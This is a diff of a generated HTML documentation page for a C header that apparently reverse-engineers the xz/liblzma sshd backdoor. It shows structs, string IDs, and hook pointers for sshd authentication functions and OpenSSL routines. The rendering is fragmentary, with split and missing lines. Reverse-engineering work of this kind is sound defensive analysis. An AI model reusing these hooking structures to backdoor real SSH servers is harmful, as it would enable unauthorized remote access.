counts the number of times the IFUNC resolver is called
-used by backdoor_init()
+used by backdoor_init()
diff --git a/xzre_8h_source.html b/xzre_8h_source.html
index b944804..9c15a6b 100644
--- a/xzre_8h_source.html
+++ b/xzre_8h_source.html
@@ -70,1435 +70,1549 @@
-
-
-
- 14 #include <sys/select.h>
-
-
-
-
-
-
-
- 22 typedef uintptr_t uptr;
-
- 24 typedef unsigned char u8;
- 25 typedef unsigned short u16;
- 26 typedef unsigned int u32;
- 27 typedef unsigned long long int u64;
- 28 typedef unsigned long int size_t;
- 29 typedef signed long int ssize_t;
-
-
- 32 typedef uint64_t uptr;
-
- 34 Elf64_Ehdr, Elf64_Phdr, Elf64_Dyn, Elf64_Sym, Elf64_Rela, Elf64_Relr,
- 35 Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
- 36 BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
- 37 EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
-
- 39 void *(*alloc)(
void *opaque,
size_t nmemb,
size_t size);
- 40 void (*free)(
void *opaque,
void *ptr);
-
-
-
-
-
-
- 47 #include <openssl/dsa.h>
- 48 #include <openssl/ec.h>
- 49 #include <openssl/evp.h>
- 50 #include <openssl/rsa.h>
-
-
- 53 typedef Elf64_Xword Elf64_Relr;
-
-
- 56 #define UPTR(x) ((uptr)(x))
- 57 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
- 58 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
-
-
-
-
-
-
-
- 66 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
- 67 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
- 68 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
- 69 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
-
-
- 72 #define XZDASM_OPC(op) (op - 0x80)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 132 XREF_xcalloc_zero_size = 0,
- 133 XREF_Could_not_chdir_to_home_directory_s_s = 1,
- 134 XREF_list_hostkey_types = 2,
- 135 XREF_demote_sensitive_data = 3,
- 136 XREF_mm_terminate = 4,
- 137 XREF_mm_pty_allocate = 5,
- 138 XREF_mm_do_pam_account = 6,
- 139 XREF_mm_session_pty_cleanup2 = 7,
- 140 XREF_mm_getpwnamallow = 8,
- 141 XREF_mm_sshpam_init_ctx = 9,
- 142 XREF_mm_sshpam_query = 10,
- 143 XREF_mm_sshpam_respond = 11,
- 144 XREF_mm_sshpam_free_ctx = 12,
- 145 XREF_mm_choose_dh = 13,
- 146 XREF_sshpam_respond = 14,
- 147 XREF_sshpam_auth_passwd = 15,
- 148 XREF_sshpam_query = 16,
-
- 150 XREF_mm_request_send = 18,
- 151 XREF_mm_log_handler = 19,
- 152 XREF_Could_not_get_agent_socket = 20,
- 153 XREF_auth_root_allowed = 21,
- 154 XREF_mm_answer_authpassword = 22,
- 155 XREF_mm_answer_keyallowed = 23,
- 156 XREF_mm_answer_keyverify = 24,
- 157 XREF_48s_48s_d_pid_ld_ = 25,
- 158 XREF_Unrecognized_internal_syslog_level_code_d = 26
-
-
-
-
-
- 164 STR_48s_48s_d_pid_ld_ = 0xd8,
-
- 166 STR_usr_sbin_sshd = 0x108,
- 167 STR_Accepted_password_for = 0x870,
- 168 STR_Accepted_publickey_for = 0x1a0,
- 169 STR_BN_bin2bn = 0xc40,
- 170 STR_BN_bn2bin = 0x6d0,
-
-
- 173 STR_BN_num_bits = 0x4e0,
- 174 STR_Connection_closed_by = 0x790,
- 175 STR_Could_not_chdir_to_home_directory_s_s = 0x18,
- 176 STR_Could_not_get_agent_socket = 0xb0,
-
- 178 STR_DSA_get0_pqg = 0x9d0,
- 179 STR_DSA_get0_pub_key = 0x468,
- 180 STR_EC_KEY_get0_group = 0x7e8,
- 181 STR_EC_KEY_get0_public_key = 0x268,
- 182 STR_EC_POINT_point2oct = 0x6e0,
- 183 STR_EVP_CIPHER_CTX_free = 0xb28,
- 184 STR_EVP_CIPHER_CTX_new = 0x838,
- 185 STR_EVP_DecryptFinal_ex = 0x2a8,
- 186 STR_EVP_DecryptInit_ex = 0xc08,
- 187 STR_EVP_DecryptUpdate = 0x3f0,
- 188 STR_EVP_Digest = 0xf8,
- 189 STR_EVP_DigestVerify = 0x408,
- 190 STR_EVP_DigestVerifyInit = 0x118,
- 191 STR_EVP_MD_CTX_free = 0xd10,
- 192 STR_EVP_MD_CTX_new = 0xaf8,
- 193 STR_EVP_PKEY_free = 0x6f8,
- 194 STR_EVP_PKEY_new_raw_public_key = 0x758,
- 195 STR_EVP_PKEY_set1_RSA = 0x510,
- 196 STR_EVP_chacha20 = 0xc28,
- 197 STR_EVP_sha256 = 0xc60,
-
- 199 STR_GLIBC_2_2_5 = 0x8c0,
- 200 STR_GLRO_dl_naudit_naudit = 0x6a8,
- 201 STR_KRB5CCNAME = 0x1e0,
- 202 STR_LD_AUDIT = 0xcf0,
- 203 STR_LD_BIND_NOT = 0xbc0,
- 204 STR_LD_DEBUG = 0xa90,
- 205 STR_LD_PROFILE = 0xb98,
- 206 STR_LD_USE_LOAD_BIAS = 0x3e0,
-
- 208 STR_RSA_free = 0xac0,
- 209 STR_RSA_get0_key = 0x798,
-
- 211 STR_RSA_public_decrypt = 0x1d0,
- 212 STR_RSA_set0_key = 0x540,
- 213 STR_RSA_sign = 0x8f8,
-
-
- 216 STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
- 217 STR_WAYLAND_DISPLAY = 0x158,
- 218 STR_errno_location = 0x878,
- 219 STR_libc_stack_end = 0x2b0,
- 220 STR_libc_start_main = 0x228,
- 221 STR_dl_audit_preinit = 0xa60,
- 222 STR_dl_audit_symbind_alt = 0x9c8,
-
-
- 225 STR_rtld_global = 0x5b8,
- 226 STR_rtld_global_ro = 0xa98,
- 227 STR_auth_root_allowed = 0xb8,
- 228 STR_authenticating = 0x1d8,
- 229 STR_demote_sensitive_data = 0x28,
-
- 231 STR_ld_linux_x86_64_so = 0xa48,
-
- 233 STR_libcrypto_so = 0x7c0,
- 234 STR_liblzma_so = 0x590,
- 235 STR_libsystemd_so = 0x938,
- 236 STR_list_hostkey_types = 0x20,
- 237 STR_malloc_usable_size = 0x440,
- 238 STR_mm_answer_authpassword = 0xc0,
- 239 STR_mm_answer_keyallowed = 0xc8,
- 240 STR_mm_answer_keyverify = 0xd0,
- 241 STR_mm_answer_pam_start = 0x948,
- 242 STR_mm_choose_dh = 0x78,
- 243 STR_mm_do_pam_account = 0x40,
- 244 STR_mm_getpwnamallow = 0x50,
- 245 STR_mm_log_handler = 0xa8,
- 246 STR_mm_pty_allocate = 0x38,
- 247 STR_mm_request_send = 0xa0,
- 248 STR_mm_session_pty_cleanup2 = 0x48,
- 249 STR_mm_sshpam_free_ctx = 0x70,
- 250 STR_mm_sshpam_init_ctx = 0x58,
- 251 STR_mm_sshpam_query = 0x60,
- 252 STR_mm_sshpam_respond = 0x68,
- 253 STR_mm_terminate = 0x30,
- 254 STR_parse_PAM = 0xc58,
- 255 STR_password = 0x400,
-
-
- 258 STR_publickey = 0x7b8,
-
- 260 STR_rsa_sha2_256 = 0x710,
- 261 STR_setlogmask = 0x428,
- 262 STR_setresgid = 0x5f0,
- 263 STR_setresuid = 0xab8,
- 264 STR_shutdown = 0x760,
-
- 266 STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
- 267 STR_sshpam_auth_passwd = 0x88,
- 268 STR_sshpam_query = 0x90,
- 269 STR_sshpam_respond = 0x80,
- 270 STR_start_pam = 0x98,
-
-
-
-
- 275 STR_xcalloc_zero_size = 0x10,
- 276 STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
-
-
-
- 281 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
- 283 #define assert_offset(t, f, o)
-
-
- 286 #define CONCAT(x, y) x ## y
- 287 #define EXPAND(x, y) CONCAT(x, y)
- 288 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 331 u64 instruction_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 358 assert_offset(
dasm_ctx_t, instruction_size, 8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 437 Elf64_Versym *versym;
- 438 Elf64_Rela *rela_relocs;
-
-
- 441 Elf64_Relr *relr_relocs;
-
-
-
-
-
- 455 u64 rodata_segment_start;
- 456 u64 rodata_segment_size;
- 457 u64 data_segment_start;
- 458 u64 data_segment_size;
- 459 u64 data_segment_alignment;
-
-
-
-
-
- 471 u32 gnu_hash_bloom_shift;
-
-
- 474 u32 *gnu_hash_buckets;
-
-
-
-
-
-
-
-
- 483 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
-
-
-
- 487 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
- 488 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
- 489 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
- 490 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
-
-
-
-
- 495 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
-
- 497 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
- 498 assert_offset(
elf_info_t, code_segment_start, 0x98);
- 499 assert_offset(
elf_info_t, code_segment_size, 0xA0);
- 500 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
- 501 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
- 502 assert_offset(
elf_info_t, data_segment_start, 0xB8);
- 503 assert_offset(
elf_info_t, data_segment_size, 0xC0);
- 504 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
-
- 506 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
- 507 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
- 508 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
- 509 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
- 510 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
- 511 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
-
-
-
- 515 u32 resolved_imports_count;
-
- 517 size_t (*malloc_usable_size)(
void *ptr);
- 518 uid_t (*getuid)(void);
- 519 void (*exit)(
int status);
- 520 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
- 521 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
- 522 int (*system)(
const char *command);
- 523 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
-
- 525 int nfds, fd_set *readfds, fd_set *writefds,
- 526 fd_set *exceptfds,
const struct timespec *timeout,
- 527 const sigset_t *sigmask);
- 528 ssize_t (*read)(
int fd,
void *buf,
size_t count);
- 529 int *(*__errno_location)(void);
- 530 int (*setlogmask)(
int mask);
- 531 int (*shutdown)(
int sockfd,
int how);
- 532 void *__libc_stack_end;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 550 typedef int (*pfn_RSA_public_decrypt_t)(
- 551 int flen,
unsigned char *from,
unsigned char *to,
- 552 RSA *rsa,
int padding);
- 553 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
- 554 typedef void (*pfn_RSA_get0_key_t)(
-
- 556 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
-
-
- 559 pfn_RSA_public_decrypt_t RSA_public_decrypt;
- 560 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
- 562 void (*RSA_get0_key_null)(
- 563 const RSA *r,
const BIGNUM **n,
- 564 const BIGNUM **e,
const BIGNUM **d);
- 565 void *RSA_public_decrypt_hook_ptr;
- 566 void *EVP_PKEY_set1_RSA_hook_ptr;
- 567 void *RSA_get0_key_hook_ptr;
- 568 void (*DSA_get0_pqg)(
- 569 const DSA *d,
const BIGNUM **p,
- 570 const BIGNUM **q,
const BIGNUM **g);
- 571 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
- 572 size_t (*EC_POINT_point2oct)(
- 573 const EC_GROUP *group,
const EC_POINT *p,
- 574 point_conversion_form_t form,
unsigned char *buf,
- 575 size_t len, BN_CTX *ctx);
- 576 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
- 577 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
- 578 EVP_MD *(*EVP_sha256)(void);
- 579 pfn_RSA_get0_key_t RSA_get0_key;
- 580 int (*BN_num_bits)(
const BIGNUM *a);
- 581 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
-
- 583 const unsigned char *key,
size_t keylen);
- 584 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
- 585 int (*EVP_DigestVerifyInit)(
- 586 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
- 587 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
- 588 int (*EVP_DigestVerify)(
- 589 EVP_MD_CTX *ctx,
const unsigned char *sig,
- 590 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
- 591 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
- 592 void (*EVP_PKEY_free)(EVP_PKEY *key);
- 593 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
- 594 int (*EVP_DecryptInit_ex)(
- 595 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
- 596 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
- 597 int (*EVP_DecryptUpdate)(
- 598 EVP_CIPHER_CTX *ctx,
unsigned char *out,
- 599 int *outl,
const unsigned char *in,
int inl);
- 600 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
- 601 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
- 602 const EVP_CIPHER *(*EVP_chacha20)(void);
- 603 RSA *(*RSA_new)(void);
- 604 BIGNUM *(*BN_dup)(
const BIGNUM *from);
- 605 BIGNUM (*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
- 606 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
- 608 const void *data,
size_t count,
unsigned char *md,
- 609 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
-
-
- 612 const unsigned char *m,
unsigned int m_len,
- 613 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
- 614 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
- 615 void (*RSA_free)(RSA *rsa);
- 616 void (*BN_free)(BIGNUM *a);
-
- 618 u64 resolved_imports_count;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 663 PADDING(
sizeof(
void *));
- 664 void *mm_answer_authpassword_start;
- 665 void *mm_answer_authpassword_end;
- 666 void *monitor_req_authpassword;
- 667 PADDING(
sizeof(
void *));
- 668 void *mm_answer_keyallowed_start;
- 669 void *mm_answer_keyallowed_end;
- 670 void *monitor_req_keyallowed_ptr;
- 671 PADDING(
sizeof(
void *));
- 672 void *mm_answer_keyverify_start;
- 673 void *mm_answer_keyverify_end;
- 674 void *monitor_req_keyverify_ptr;
-
-
-
-
-
-
- 681 PADDING(
sizeof(
void *));
- 682 void *mm_request_send_start;
- 683 void *mm_request_send_end;
- 684 PADDING(
sizeof(u32));
- 685 PADDING(
sizeof(u32));
-
- 687 int *permit_root_login_ptr;
-
-
-
-
- 692 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
- 693 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
- 694 assert_offset(
sshd_ctx_t, monitor_req_authpassword, 0x38);
- 695 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
- 696 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
- 697 assert_offset(
sshd_ctx_t, monitor_req_keyallowed_ptr, 0x58);
- 698 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
- 699 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
- 700 assert_offset(
sshd_ctx_t, monitor_req_keyverify_ptr, 0x78);
- 701 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
-
- 703 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
- 704 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
-
- 706 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
- 707 assert_offset(
sshd_ctx_t, STR_password, 0xD0);
- 708 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
-
-
-
-
-
- 714 char *STR_Connection_closed_by;
-
- 716 char *STR_authenticating;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 750 void *sshd_host_keys;
-
-
- 753 void *sshd_code_start;
-
- 755 void *sshd_data_start;
-
-
-
-
-
-
- 785 u8 shift_operations[31];
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+ 16 #include <sys/select.h>
+
+
+
+
+
+
+
+ 24 typedef uintptr_t uptr;
+
+ 26 typedef unsigned char u8;
+ 27 typedef unsigned short u16;
+ 28 typedef unsigned int u32;
+ 29 typedef unsigned long long int u64;
+ 30 typedef unsigned long int size_t;
+ 31 typedef signed long int ssize_t;
+
+
+ 34 typedef uint64_t uptr;
+
+ 36 Elf64_Ehdr, Elf64_Phdr, Elf64_Dyn, Elf64_Sym, Elf64_Rela, Elf64_Relr,
+ 37 Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
+ 38 BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
+ 39 EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
+
+ 41 void *(*alloc)(
void *opaque,
size_t nmemb,
size_t size);
+ 42 void (*free)(
void *opaque,
void *ptr);
+
+
+
+
+
+
+ 49 #include <openssl/dsa.h>
+ 50 #include <openssl/ec.h>
+ 51 #include <openssl/evp.h>
+ 52 #include <openssl/rsa.h>
+
+
+ 55 typedef Elf64_Xword Elf64_Relr;
+
+
+ 58 #define UPTR(x) ((uptr)(x))
+ 59 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
+ 60 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
+
+
+
+
+
+
+
+ 68 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
+ 69 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
+ 70 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
+ 71 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
+
+
+
+
+
+ 77 unsigned int bindflags;
+
+
+ 80 typedef struct link_map *lookup_t;
+
+
+
+ 84 struct La_x86_64_regs;
+ 85 struct La_x86_64_retval;
+
+
+
+
+
+
+
+ 93 void (*activity) (uintptr_t *,
unsigned int);
+ 94 char *(*objsearch) (
const char *, uintptr_t *,
unsigned int);
+ 95 unsigned int (*objopen) (
struct link_map *, Lmid_t, uintptr_t *);
+ 96 void (*preinit) (uintptr_t *);
+
+
+ 99 uintptr_t (*symbind32) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 100 uintptr_t *,
unsigned int *,
const char *);
+ 101 uintptr_t (*symbind64) (Elf64_Sym *,
unsigned int, uintptr_t *,
+ 102 uintptr_t *,
unsigned int *,
const char *);
+
+
+
+ 106 Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 107 uintptr_t *,
struct La_i86_regs *,
+ 108 unsigned int *,
const char *name,
+ 109 long int *framesizep);
+ 110 Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *,
unsigned int,
+
+ 112 uintptr_t *,
struct La_x86_64_regs *,
+ 113 unsigned int *,
const char *name,
+ 114 long int *framesizep);
+ 115 Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 116 uintptr_t *,
struct La_x32_regs *,
+ 117 unsigned int *,
const char *name,
+ 118 long int *framesizep);
+
+
+
+ 122 unsigned int (*i86_gnu_pltexit) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 123 uintptr_t *,
const struct La_i86_regs *,
+ 124 struct La_i86_retval *,
const char *);
+ 125 unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *,
unsigned int,
+
+
+ 128 const struct La_x86_64_regs *,
+ 129 struct La_x86_64_retval *,
+
+ 131 unsigned int (*x32_gnu_pltexit) (Elf32_Sym *,
unsigned int, uintptr_t *,
+
+ 133 const struct La_x32_regs *,
+ 134 struct La_x86_64_retval *,
+
+
+ 137 unsigned int (*objclose) (uintptr_t *);
+
+
+
+
+
+ 143 #define XZDASM_OPC(op) (op - 0x80)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 201 X_ELF_DYNAMIC_LINKER = 1,
+
+
+
+
+
+ 207 XREF_xcalloc_zero_size = 0,
+ 208 XREF_Could_not_chdir_to_home_directory_s_s = 1,
+ 209 XREF_list_hostkey_types = 2,
+ 210 XREF_demote_sensitive_data = 3,
+ 211 XREF_mm_terminate = 4,
+ 212 XREF_mm_pty_allocate = 5,
+ 213 XREF_mm_do_pam_account = 6,
+ 214 XREF_mm_session_pty_cleanup2 = 7,
+ 215 XREF_mm_getpwnamallow = 8,
+ 216 XREF_mm_sshpam_init_ctx = 9,
+ 217 XREF_mm_sshpam_query = 10,
+ 218 XREF_mm_sshpam_respond = 11,
+ 219 XREF_mm_sshpam_free_ctx = 12,
+ 220 XREF_mm_choose_dh = 13,
+ 221 XREF_sshpam_respond = 14,
+ 222 XREF_sshpam_auth_passwd = 15,
+ 223 XREF_sshpam_query = 16,
+
+ 225 XREF_mm_request_send = 18,
+ 226 XREF_mm_log_handler = 19,
+ 227 XREF_Could_not_get_agent_socket = 20,
+ 228 XREF_auth_root_allowed = 21,
+ 229 XREF_mm_answer_authpassword = 22,
+ 230 XREF_mm_answer_keyallowed = 23,
+ 231 XREF_mm_answer_keyverify = 24,
+ 232 XREF_48s_48s_d_pid_ld_ = 25,
+ 233 XREF_Unrecognized_internal_syslog_level_code_d = 26
+
+
+
+
+
+ 239 STR_48s_48s_d_pid_ld_ = 0xd8,
+
+ 241 STR_usr_sbin_sshd = 0x108,
+ 242 STR_Accepted_password_for = 0x870,
+ 243 STR_Accepted_publickey_for = 0x1a0,
+ 244 STR_BN_bin2bn = 0xc40,
+ 245 STR_BN_bn2bin = 0x6d0,
+
+
+ 248 STR_BN_num_bits = 0x4e0,
+ 249 STR_Connection_closed_by = 0x790,
+ 250 STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+ 251 STR_Could_not_get_agent_socket = 0xb0,
+
+ 253 STR_DSA_get0_pqg = 0x9d0,
+ 254 STR_DSA_get0_pub_key = 0x468,
+ 255 STR_EC_KEY_get0_group = 0x7e8,
+ 256 STR_EC_KEY_get0_public_key = 0x268,
+ 257 STR_EC_POINT_point2oct = 0x6e0,
+ 258 STR_EVP_CIPHER_CTX_free = 0xb28,
+ 259 STR_EVP_CIPHER_CTX_new = 0x838,
+ 260 STR_EVP_DecryptFinal_ex = 0x2a8,
+ 261 STR_EVP_DecryptInit_ex = 0xc08,
+ 262 STR_EVP_DecryptUpdate = 0x3f0,
+ 263 STR_EVP_Digest = 0xf8,
+ 264 STR_EVP_DigestVerify = 0x408,
+ 265 STR_EVP_DigestVerifyInit = 0x118,
+ 266 STR_EVP_MD_CTX_free = 0xd10,
+ 267 STR_EVP_MD_CTX_new = 0xaf8,
+ 268 STR_EVP_PKEY_free = 0x6f8,
+ 269 STR_EVP_PKEY_new_raw_public_key = 0x758,
+ 270 STR_EVP_PKEY_set1_RSA = 0x510,
+ 271 STR_EVP_chacha20 = 0xc28,
+ 272 STR_EVP_sha256 = 0xc60,
+
+ 274 STR_GLIBC_2_2_5 = 0x8c0,
+ 275 STR_GLRO_dl_naudit_naudit = 0x6a8,
+ 276 STR_KRB5CCNAME = 0x1e0,
+ 277 STR_LD_AUDIT = 0xcf0,
+ 278 STR_LD_BIND_NOT = 0xbc0,
+ 279 STR_LD_DEBUG = 0xa90,
+ 280 STR_LD_PROFILE = 0xb98,
+ 281 STR_LD_USE_LOAD_BIAS = 0x3e0,
+
+ 283 STR_RSA_free = 0xac0,
+ 284 STR_RSA_get0_key = 0x798,
+
+ 286 STR_RSA_public_decrypt = 0x1d0,
+ 287 STR_RSA_set0_key = 0x540,
+ 288 STR_RSA_sign = 0x8f8,
+
+
+ 291 STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+ 292 STR_WAYLAND_DISPLAY = 0x158,
+ 293 STR_errno_location = 0x878,
+ 294 STR_libc_stack_end = 0x2b0,
+ 295 STR_libc_start_main = 0x228,
+ 296 STR_dl_audit_preinit = 0xa60,
+ 297 STR_dl_audit_symbind_alt = 0x9c8,
+
+
+ 300 STR_rtld_global = 0x5b8,
+ 301 STR_rtld_global_ro = 0xa98,
+ 302 STR_auth_root_allowed = 0xb8,
+ 303 STR_authenticating = 0x1d8,
+ 304 STR_demote_sensitive_data = 0x28,
+
+ 306 STR_ld_linux_x86_64_so = 0xa48,
+
+ 308 STR_libcrypto_so = 0x7c0,
+ 309 STR_liblzma_so = 0x590,
+ 310 STR_libsystemd_so = 0x938,
+ 311 STR_list_hostkey_types = 0x20,
+ 312 STR_malloc_usable_size = 0x440,
+ 313 STR_mm_answer_authpassword = 0xc0,
+ 314 STR_mm_answer_keyallowed = 0xc8,
+ 315 STR_mm_answer_keyverify = 0xd0,
+ 316 STR_mm_answer_pam_start = 0x948,
+ 317 STR_mm_choose_dh = 0x78,
+ 318 STR_mm_do_pam_account = 0x40,
+ 319 STR_mm_getpwnamallow = 0x50,
+ 320 STR_mm_log_handler = 0xa8,
+ 321 STR_mm_pty_allocate = 0x38,
+ 322 STR_mm_request_send = 0xa0,
+ 323 STR_mm_session_pty_cleanup2 = 0x48,
+ 324 STR_mm_sshpam_free_ctx = 0x70,
+ 325 STR_mm_sshpam_init_ctx = 0x58,
+ 326 STR_mm_sshpam_query = 0x60,
+ 327 STR_mm_sshpam_respond = 0x68,
+ 328 STR_mm_terminate = 0x30,
+ 329 STR_parse_PAM = 0xc58,
+ 330 STR_password = 0x400,
+
+
+ 333 STR_publickey = 0x7b8,
+
+ 335 STR_rsa_sha2_256 = 0x710,
+ 336 STR_setlogmask = 0x428,
+ 337 STR_setresgid = 0x5f0,
+ 338 STR_setresuid = 0xab8,
+ 339 STR_shutdown = 0x760,
+
+ 341 STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+ 342 STR_sshpam_auth_passwd = 0x88,
+ 343 STR_sshpam_query = 0x90,
+ 344 STR_sshpam_respond = 0x80,
+ 345 STR_start_pam = 0x98,
+
+
+
+
+ 350 STR_xcalloc_zero_size = 0x10,
+ 351 STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
+
+
+
+ 356 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
+ 358 #define assert_offset(t, f, o)
+
+
+ 361 #define CONCAT(x, y) x ## y
+ 362 #define EXPAND(x, y) CONCAT(x, y)
+ 363 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 406 u64 instruction_size;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 433 assert_offset(
dasm_ctx_t, instruction_size, 8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 512 Elf64_Versym *versym;
+ 513 Elf64_Rela *rela_relocs;
+
+
+ 516 Elf64_Relr *relr_relocs;
+
+
+
+
+
+ 530 u64 rodata_segment_start;
+ 531 u64 rodata_segment_size;
+ 532 u64 data_segment_start;
+ 533 u64 data_segment_size;
+ 534 u64 data_segment_alignment;
+
+
+
+
+
+ 546 u32 gnu_hash_bloom_shift;
+
+
+ 549 u32 *gnu_hash_buckets;
+
+
+
+
+
+
+
+
+ 558 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
+
+
+
+ 562 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
+ 563 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
+ 564 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
+ 565 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
+
+
+
+
+ 570 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
+
+ 572 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
+ 573 assert_offset(
elf_info_t, code_segment_start, 0x98);
+ 574 assert_offset(
elf_info_t, code_segment_size, 0xA0);
